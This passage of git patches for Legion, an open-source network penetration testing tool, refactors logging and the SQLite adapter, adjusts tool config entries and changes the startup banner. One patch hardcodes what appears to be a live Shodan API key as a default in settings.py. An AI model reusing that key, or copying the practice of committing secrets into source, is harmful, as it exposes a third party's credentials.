-16,30 +16,23 @@ If not, see . """ -import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex - -from PyQt5.QtCore import * # for filters dialog -from PyQt5 import QtCore -from PyQt5 import QtWidgets, QtGui, QtCore +import ntpath # for file operations, to kill processes and for regex from app.ApplicationInfo import applicationInfo, getVersion -from app.shell.Shell import Shell from app.timing import getTimestamp from ui.ViewState import ViewState -from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * from ui.configDialog import * from ui.helpDialog import * from ui.addHostDialog import * from ui.ancillaryDialog import * -from app.hostmodels import * -from app.servicemodels import * -from app.scriptmodels import * -from app.cvemodels import * -from app.processmodels import * +from ui.models.hostmodels import * +from ui.models.servicemodels import * +from ui.models.scriptmodels import * +from ui.models.cvemodels import * +from ui.models.processmodels import * from app.auxiliary import * -import time #temp from six import u as unicode import pandas as pd @@ -178,7 +171,8 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e def initTables(self): # this function prepares the default settings for each table # hosts table (left) headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] + "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", + "Count", "Closed"] setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) @@ -201,7 +195,7 @@ def initTables(self): # this function prepares the default settings for each ta # service table (right) headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) + setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", @@ -1025,7 +1019,8 @@ def contextMenuScreenshot(self, pos): def updateHostsTableView(self): headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] + "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", + "Count", "Closed"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) @@ -1174,8 +1169,9 @@ def updateInformationView(self, hostIP): self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, - vendor=host.vendor, asn=host.asn, isp=host.isp, countryCode=host.countryCode, - city=host.city, latitude=host.latitude, longitude=host.longitude) + vendor=host.vendor, asn=host.asn, isp=host.isp, + countryCode=host.countryCode, city=host.city, latitude=host.latitude, + longitude=host.longitude) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] From 6b4c3543cdfac25cd5057edbfeae957b85ecfd99 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 11 Feb 2020 12:45:13 -0500 Subject: [PATCH 371/450] Update legion.conf --- legion.conf | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 1e621392..4c915a2e 100644 --- a/legion.conf +++ b/legion.conf @@ -300,7 +300,8 @@ xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp ftp-default=ftp, tcp mssql-default=ms-sql-s, tcp mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp From d8d591d8b8d1c185347cc4a1026e352a6c3a25dc Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 11 Feb 2020 14:11:37 -0500 Subject: [PATCH 372/450] Added nikto back to scheduler settings --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index 4c915a2e..abfd60e7 100644 --- a/legion.conf +++ b/legion.conf @@ -300,6 +300,7 @@ xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp ftp-default=ftp, tcp mssql-default=ms-sql-s, tcp mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors oracle-default=oracle-tns, tcp From 3b0b06ae6179b36e6f037ca3dc9a506372d2de02 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 12 Feb 2020 10:57:54 -0500 Subject: [PATCH 373/450] Fixing font not found issue --- legion.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.py b/legion.py index dbe924ce..b492fabd 100644 --- a/legion.py +++ b/legion.py @@ -67,7 +67,7 @@ # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION', font='starwars'), 'yellow', 'on_red', attrs=['bold']) + cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) loop = quamash.QEventLoop(app) From 55d250d72f157630f6ca707bcdf336efdd7065ad Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 12 Feb 2020 11:34:17 -0600 Subject: [PATCH 374/450] Change figlet font; Fix missing ui class --- .justcloned | 0 app/ApplicationInfo.py | 4 ++-- app/settings.py | 3 +++ legion.py | 3 ++- 4 files changed, 7 insertions(+), 3 deletions(-) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index bd60fe74..1ae8c4ba 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.6", - "build": '1580902879', + "build": '1581028553', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '02/05/2020', + "update": '02/06/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/settings.py b/app/settings.py index ecd05a28..43a4e13f 100644 --- a/app/settings.py +++ b/app/settings.py @@ -143,6 +143,7 @@ def backupAndSave(self, newSettings, saveBackup=True): self.actions.setValue('hydra-path', newSettings.tools_path_hydra) self.actions.setValue('cutycapt-path', newSettings.tools_path_cutycapt) self.actions.setValue('texteditor-path', newSettings.tools_path_texteditor) + self.actions.setValue('pyshodan-api-key', newSettings.tools_pyshodan_api_key) self.actions.endGroup() self.actions.beginGroup('StagedNmapSettings') @@ -225,6 +226,7 @@ def __init__(self, appSettings=None): self.tools_path_hydra = "/usr/bin/hydra" self.tools_path_cutycapt = "/usr/bin/cutycapt" self.tools_path_texteditor = "/usr/bin/leafpad" + self.tools_pyshodan_api_key = "SNYEkE0gdwNu9BRURVDjWPXePCquXqht" # GUI settings self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" @@ -281,6 +283,7 @@ def __init__(self, appSettings=None): self.tools_path_hydra = self.toolSettings['hydra-path'] self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] self.tools_path_texteditor = self.toolSettings['texteditor-path'] + self.tools_pyshodan_api_key = self.toolSettings['pyshodan-api-key'] # gui self.gui_process_tab_column_widths = self.guiSettings['process-tab-column-widths'] diff --git a/legion.py b/legion.py index b492fabd..689ce470 100644 --- a/legion.py +++ b/legion.py @@ -20,6 +20,7 @@ from db.RepositoryFactory import RepositoryFactory from ui.eventfilter import MyEventFilter from ui.ViewState import ViewState +from ui.gui import * from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") @@ -67,7 +68,7 @@ # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) + cprint(figlet_format('LEGION', font='isometric4'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) loop = quamash.QEventLoop(app) From d211c571e93903f6e4378ccabb1b12ccef748199 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 4 Jan 2020 15:56:33 -0500 Subject: [PATCH 375/450] Refactor database.py into sqlite adapter - Extract from `database.py` the database adapter for SQLite into its own class - Logging has been greatly improved in that it is now more lazy (instantiated and cached when needed) - which simplifies reasoning about each logger in the system. In addition, the three loggers have now been fixed to log only the relevant parts that they are responsible for (i.e. db logger only logs database related events) --- app/Project.py | 2 +- app/ProjectManager.py | 2 +- app/auxiliary.py | 5 +- app/logging/legionLog.py | 37 ++++++++- app/logic.py | 2 +- app/settings.py | 1 + app/timing.py | 4 +- app/tools/nmap/DefaultNmapExporter.py | 9 +- controller/controller.py | 1 + db/RepositoryFactory.py | 2 +- db/SqliteDbAdapter.py | 82 +++++++++++++++++++ db/database.py | 63 -------------- db/repositories/CVERepository.py | 2 +- db/repositories/HostRepository.py | 2 +- db/repositories/NoteRepository.py | 2 +- db/repositories/PortRepository.py | 2 +- db/repositories/ProcessRepository.py | 2 +- db/repositories/ScriptRepository.py | 2 +- db/repositories/ServiceRepository.py | 3 +- legion.py | 37 +++++---- parsers/Host.py | 1 - parsers/OS.py | 2 - parsers/Parser.py | 6 +- parsers/Service.py | 1 - parsers/Session.py | 1 - parsers/examples/HostExample.py | 4 +- tests/app/test_ProjectManager.py | 2 +- .../tools/nmap/test_DefaultNmapExporter.py | 7 +- tests/db/repositories/test_CVERepository.py | 3 +- tests/db/repositories/test_HostRepository.py | 3 +- tests/db/repositories/test_NoteRepository.py | 3 +- tests/db/repositories/test_PortRepository.py | 6 +- .../db/repositories/test_ProcessRepository.py | 3 +- .../db/repositories/test_ServiceRepository.py | 3 +- ui/gui.py | 1 - ui/settingsDialog.py | 1 + 36 files changed, 182 insertions(+), 127 deletions(-) create mode 100644 db/SqliteDbAdapter.py diff --git a/app/Project.py b/app/Project.py index 02586373..587c7a68 100644 --- a/app/Project.py +++ b/app/Project.py @@ -19,7 +19,7 @@ from app.auxiliary import Wordlist from db.RepositoryContainer import RepositoryContainer -from db.database import Database +from db.SqliteDbAdapter import Database projectTypes = ["legion", "sparta"] diff --git a/app/ProjectManager.py b/app/ProjectManager.py index 79e2cd5c..6c01d840 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -26,7 +26,7 @@ from app.shell.Shell import Shell from app.tools.nmap.NmapPaths import getNmapRunningFolder from db.RepositoryFactory import RepositoryFactory -from db.database import Database +from db.SqliteDbAdapter import Database class ProjectManager: diff --git a/app/auxiliary.py b/app/auxiliary.py index be899e0c..cf63db68 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -23,9 +23,10 @@ from six import u as unicode from app.http.isHttps import isHttps -from app.logging.legionLog import log +from app.logging.legionLog import getAppLogger from app.timing import timing -from utilities.stenoLogging import * + +log = getAppLogger() # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index da3ee515..eed8a1d2 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -16,8 +16,39 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ import logging +from logging import Logger -from utilities.stenoLogging import get_logger +cachedAppLogger = None +cachedStartupLogger = None +cachedDbLogger = None -log = get_logger('legion', path="./log/legion.log", console=False) -log.setLevel(logging.INFO) + +def getStartupLogger() -> Logger: + global cachedStartupLogger + logger = getOrCreateCachedLogger("legion-startup", "./log/legion-startup.log", True, cachedStartupLogger) + cachedStartupLogger = logger + return logger + + +def getAppLogger() -> Logger: + global cachedAppLogger + logger = getOrCreateCachedLogger("legion", "./log/legion.log", True, cachedAppLogger) + cachedAppLogger = logger + return logger + + +def getDbLogger() -> Logger: + global cachedDbLogger + logger = getOrCreateCachedLogger("legion-db", "./log/legion-db.log", False, cachedDbLogger) + cachedDbLogger = logger + return logger + + +def getOrCreateCachedLogger(logName: str, logPath: str, console: bool, cachedLogger): + if cachedLogger: + return cachedLogger + + from utilities.stenoLogging import get_logger + log = get_logger(logName, path=logPath, console=console) + log.setLevel(logging.INFO) + return log diff --git a/app/logic.py b/app/logic.py index e592cfa7..98f8ce73 100644 --- a/app/logic.py +++ b/app/logic.py @@ -23,9 +23,9 @@ from app.tools.ToolCoordinator import ToolCoordinator from app.shell.Shell import Shell from app.tools.nmap.NmapPaths import getNmapOutputFolder -from db.database import * from ui.ancillaryDialog import * +log = getAppLogger() class Logic: def __init__(self, shell: Shell, projectManager, toolCoordinator: ToolCoordinator): diff --git a/app/settings.py b/app/settings.py index 43a4e13f..f62c5921 100644 --- a/app/settings.py +++ b/app/settings.py @@ -23,6 +23,7 @@ # this class reads and writes application settings from app.timing import getTimestamp +log = getAppLogger() class AppSettings(): def __init__(self): diff --git a/app/timing.py b/app/timing.py index 4af799db..6613dd0e 100644 --- a/app/timing.py +++ b/app/timing.py @@ -19,7 +19,7 @@ from functools import wraps from time import time -from app.logging.legionLog import log +from app.logging.legionLog import getAppLogger timestampFormats = { "HUMAN_FORMAT": "%d %b %Y %H:%M:%S.%f", @@ -28,6 +28,8 @@ def timing(f): + log = getAppLogger() + @wraps(f) def wrap(*args, **kw): ts = time() diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 47f220ee..16b1a425 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -16,8 +16,8 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ import subprocess +from logging import Logger -from app.logging.legionLog import log from app.shell.Shell import Shell from app.timing import timing from app.tools.nmap.NmapExporter import NmapExporter @@ -25,7 +25,8 @@ class DefaultNmapExporter(NmapExporter): - def __init__(self, shell: Shell): + def __init__(self, shell: Shell, logger: Logger): + self.logger = logger self.shell = shell @timing @@ -36,5 +37,5 @@ def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: p.wait() self.shell.move(f"{fileName}.html", outputFolder) except: - log.error("nmap output export to html attempted, but failed.") - log.error('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + self.logger.error("nmap output export to html attempted, but failed.") + self.logger.error('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') diff --git a/controller/controller.py b/controller/controller.py index 6762a48b..82b42bc4 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -34,6 +34,7 @@ from app.logic import * from app.settings import * +log = getAppLogger() class Controller: diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index 87f2caf3..a4e66573 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -16,7 +16,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ from db.RepositoryContainer import RepositoryContainer -from db.database import Database +from db.SqliteDbAdapter import Database from db.repositories.CVERepository import CVERepository from db.repositories.HostRepository import HostRepository from db.repositories.NoteRepository import NoteRepository diff --git a/db/SqliteDbAdapter.py b/db/SqliteDbAdapter.py new file mode 100644 index 00000000..f9e1a51f --- /dev/null +++ b/db/SqliteDbAdapter.py @@ -0,0 +1,82 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + +from PyQt5.QtCore import QSemaphore +import time +from random import randint + +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker +from sqlalchemy.orm.scoping import scoped_session + +from app.logging.legionLog import getDbLogger + + +class Database: + def __init__(self, dbfilename): + from db.database import Base + self.log = getDbLogger() + self.base = Base + try: + self.establishSqliteConnection(dbfilename) + except Exception as e: + self.log.error('Could not create SQLite database. Please try again.') + self.log.info(e) + + def openDB(self, dbfilename): + try: + self.establishSqliteConnection(dbfilename) + except: + self.log.error('Could not open SQLite database file. Is the file corrupted?') + + def establishSqliteConnection(self, dbFileName: str): + self.name = dbFileName + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine( + 'sqlite:///{dbFileName}'.format(dbFileName=dbFileName)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine, autoflush=False) + self.metadata = self.base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + self.log.info(f"Established SQLite connection on file '{dbFileName}'") + + def commit(self): + self.dbsemaphore.acquire() + self.log.debug("DB lock acquired") + try: + session = self.session() + rnd = float(randint(1, 99)) / 100.00 + self.log.debug("Waiting {0}s before commit...".format(str(rnd))) + time.sleep(rnd) + session.commit() + except Exception as e: + self.log.error("DB Commit issue") + self.log.error(str(e)) + try: + rnd = float(randint(1, 99)) / 100.00 + time.sleep(rnd) + self.log.debug("Waiting {0}s before commit...".format(str(rnd))) + session.commit() + except Exception as e: + self.log.error("DB Commit issue on retry") + self.log.error(str(e)) + pass + self.dbsemaphore.release() + self.log.debug("DB lock released") \ No newline at end of file diff --git a/db/database.py b/db/database.py index c62ed3c4..eb54b208 100644 --- a/db/database.py +++ b/db/database.py @@ -14,69 +14,6 @@ If not, see . """ -from utilities.stenoLogging import * - -log = get_logger('legion', path="./log/legion-db.log", console=False) -log.setLevel(logging.INFO) - -from PyQt5.QtCore import QSemaphore -import time -from random import randint - -from sqlalchemy import create_engine -from sqlalchemy.orm import sessionmaker -from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() - - -class Database: - def __init__(self, dbfilename): - try: - self.establishSqliteConnection(dbfilename) - except Exception as e: - log.info('Could not create database. Please try again.') - log.info(e) - - def openDB(self, dbfilename): - try: - self.establishSqliteConnection(dbfilename) - except: - log.info('Could not open database file. Is the file corrupted?') - - def establishSqliteConnection(self, dbFileName: str): - self.name = dbFileName - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine( - 'sqlite:///{dbFileName}'.format(dbFileName=dbFileName)) - self.session = scoped_session(sessionmaker()) - self.session.configure(bind=self.engine, autoflush=False) - self.metadata = Base.metadata - self.metadata.create_all(self.engine) - self.metadata.echo = True - self.metadata.bind = self.engine - - def commit(self): - self.dbsemaphore.acquire() - log.debug("DB lock acquired") - try: - session = self.session() - rnd = float(randint(1, 99)) / 100.00 - log.debug("Waiting {0}s before commit...".format(str(rnd))) - time.sleep(rnd) - session.commit() - except Exception as e: - log.error("DB Commit issue") - log.error(str(e)) - try: - rnd = float(randint(1, 99)) / 100.00 - time.sleep(rnd) - log.debug("Waiting {0}s before commit...".format(str(rnd))) - session.commit() - except Exception as e: - log.error("DB Commit issue on retry") - log.error(str(e)) - pass - self.dbsemaphore.release() - log.debug("DB lock released") diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 65ab17ad..3659392f 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database +from db.SqliteDbAdapter import Database class CVERepository: diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index db1044df..40aa8b16 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -16,7 +16,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters -from db.database import Database +from db.SqliteDbAdapter import Database from db.entities.host import hostObj from db.filters import applyFilters, applyHostsFilters diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index ee685fa6..273a33d3 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database +from db.SqliteDbAdapter import Database from six import u as unicode from db.entities.note import note diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index 3312ce19..f1eb92e0 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database +from db.SqliteDbAdapter import Database from db.entities.l1script import l1ScriptObj from db.entities.port import portObj from db.filters import applyPortFilters diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index c17980c5..a4160d32 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -20,7 +20,7 @@ from six import u as unicode from app.timing import getTimestamp -from db.database import Database +from db.SqliteDbAdapter import Database from db.entities.process import process from db.entities.processOutput import process_output diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index 3382227d..9d09a4bb 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database +from db.SqliteDbAdapter import Database class ScriptRepository: diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 75b6d9ee..929947b5 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -16,11 +16,12 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters +from db.SqliteDbAdapter import Database from db.filters import applyFilters class ServiceRepository: - def __init__(self, db_adapter): + def __init__(self, db_adapter: Database): self.db_adapter = db_adapter def getServiceNames(self, filters: Filters): diff --git a/legion.py b/legion.py index 689ce470..589c570b 100644 --- a/legion.py +++ b/legion.py @@ -15,40 +15,41 @@ If not, see . """ from app.ProjectManager import ProjectManager +from app.logging.legionLog import getStartupLogger, getDbLogger from app.shell.DefaultShell import DefaultShell from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter from db.RepositoryFactory import RepositoryFactory from ui.eventfilter import MyEventFilter from ui.ViewState import ViewState from ui.gui import * -from utilities.stenoLogging import * +from ui.gui import Ui_MainWindow -log = get_logger('legion', path="./log/legion-startup.log") -log.setLevel(logging.INFO) +startupLog = getStartupLogger() # check for dependencies first (make sure all non-standard dependencies are checked for here) try: from sqlalchemy.orm.scoping import ScopedSession as scoped_session except ImportError as e: - log.info( + startupLog.error( "Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*" ) - log.info(e) + startupLog.error(e) exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - log.info("Import failed. PyQt5 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt5") - log.info(e) + startupLog.error("Import failed. PyQt5 library not found. If on Ubuntu or similar try: " + "apt-get install python3-pyqt5") + startupLog.error(e) exit(1) try: import quamash import asyncio except ImportError as e: - log.info("Import failed. Quamash or asyncio not found.") - log.info(e) + startupLog.error("Import failed. Quamash or asyncio not found.") + startupLog.error(e) exit(1) try: @@ -59,8 +60,8 @@ from termcolor import cprint from pyfiglet import figlet_format except ImportError as e: - log.info("Import failed. One or more of the terminal drawing libraries not found.") - log.info(e) + startupLog.error("Import failed. One or more of the terminal drawing libraries not found.") + startupLog.error(e) exit(1) from ui.view import * @@ -83,7 +84,7 @@ try: qss_file = open('./ui/legion.qss').read() except IOError: - log.info( + startupLog.error( "The legion.qss file is missing. Your installation seems to be corrupted. " + "Try downloading the latest version.") exit(0) @@ -92,14 +93,17 @@ shell = DefaultShell() - repositoryFactory = RepositoryFactory(log) - projectManager = ProjectManager(shell, repositoryFactory, log) - nmapExporter = DefaultNmapExporter(shell) + dbLog = getDbLogger() + appLogger = getAppLogger() + + repositoryFactory = RepositoryFactory(dbLog) + projectManager = ProjectManager(shell, repositoryFactory, appLogger) + nmapExporter = DefaultNmapExporter(shell, appLogger) toolCoordinator = ToolCoordinator(shell, nmapExporter) # Model prep (logic, db and models) logic = Logic(shell, projectManager, toolCoordinator) - log.info("Creating temporary project at application start...") + startupLog.info("Creating temporary project at application start...") logic.createNewTemporaryProject() viewState = ViewState() @@ -118,6 +122,7 @@ # Show main window MainWindow.show() + startupLog.info("Legion started successfully.") try: loop.run_forever() except KeyboardInterrupt: diff --git a/parsers/Host.py b/parsers/Host.py index 3b8d3787..daab5986 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -1,5 +1,4 @@ #!/usr/bin/python -from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/OS.py b/parsers/OS.py index 178f8de6..20d9b870 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -1,11 +1,9 @@ #!/usr/bin/python -from app.logging.legionLog import log __author__ = 'ketchup' __version__= '0.1' __modified_by = 'ketchup' - class OS: name = '' family = '' diff --git a/parsers/Parser.py b/parsers/Parser.py index 12c9817e..7d03e497 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -1,10 +1,12 @@ #!/usr/bin/python '''this module used to parse nmap xml report''' -from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' + +from app.logging.legionLog import getAppLogger + __modified_by = 'ketchup' __modified_by = 'SECFORCE' @@ -12,6 +14,8 @@ import parsers.Host as Host import xml.dom.minidom +log = getAppLogger() + class Parser: '''Parser class, parse a xml format nmap report''' diff --git a/parsers/Service.py b/parsers/Service.py index 8d0b7469..1ebd206f 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -1,5 +1,4 @@ #!/usr/bin/python -from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__ = '0.2' diff --git a/parsers/Session.py b/parsers/Session.py index fe1f3d79..5742e4f2 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -1,5 +1,4 @@ #!/usr/bin/python -from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index f2b0251e..1a62b4fd 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -18,9 +18,11 @@ import xml -from app.auxiliary import log +from app.logging.legionLog import getAppLogger from parsers.Host import Host +log = getAppLogger() + if __name__ == '__main__': dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py index 912a7b37..d597c64b 100644 --- a/tests/app/test_ProjectManager.py +++ b/tests/app/test_ProjectManager.py @@ -26,7 +26,7 @@ class ProjectManagerTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') @patch('db.repositories.HostRepository') @patch('app.auxiliary.Wordlist') - @patch('db.database.Database') + @patch('db.SqliteDbAdapter.Database') def setUp(self, getLogger, hostRepository, wordlist, database) -> None: from app.ProjectManager import ProjectManager self.mockShell = MagicMock() diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index 5dcf9bb7..bdd6896b 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -20,12 +20,11 @@ class DefaultNmapExporterTest(unittest.TestCase): - @patch("app.logging.legionLog.log") - def setUp(self, legionLog) -> None: + def setUp(self) -> None: from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter + self.log = MagicMock() self.mockShell = MagicMock() - self.log = legionLog - self.nmapExporter = DefaultNmapExporter(self.mockShell) + self.nmapExporter = DefaultNmapExporter(self.mockShell, self.log) @patch("subprocess.Popen") def test_exportOutputToHtml_WhenProvidedFileNameAndOutputFolder_ExportsOutputSuccessfully(self, processOpen): diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 2709665e..7c0352cf 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -22,8 +22,7 @@ class CVERepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: self.mock_db_adapter = MagicMock() def test_getCVEsByHostIP_WhenProvidedAHostIp_ReturnsCVEs(self): diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index e0e8f3f3..7c754009 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -35,8 +35,7 @@ def expectedGetHostsAndPortsQuery(with_filter: str = "") -> str: class HostRepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: from db.repositories.HostRepository import HostRepository self.mockDbAdapter = MagicMock() self.mockDbSession = MagicMock() diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index 1ccd078a..9ed85a1f 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ 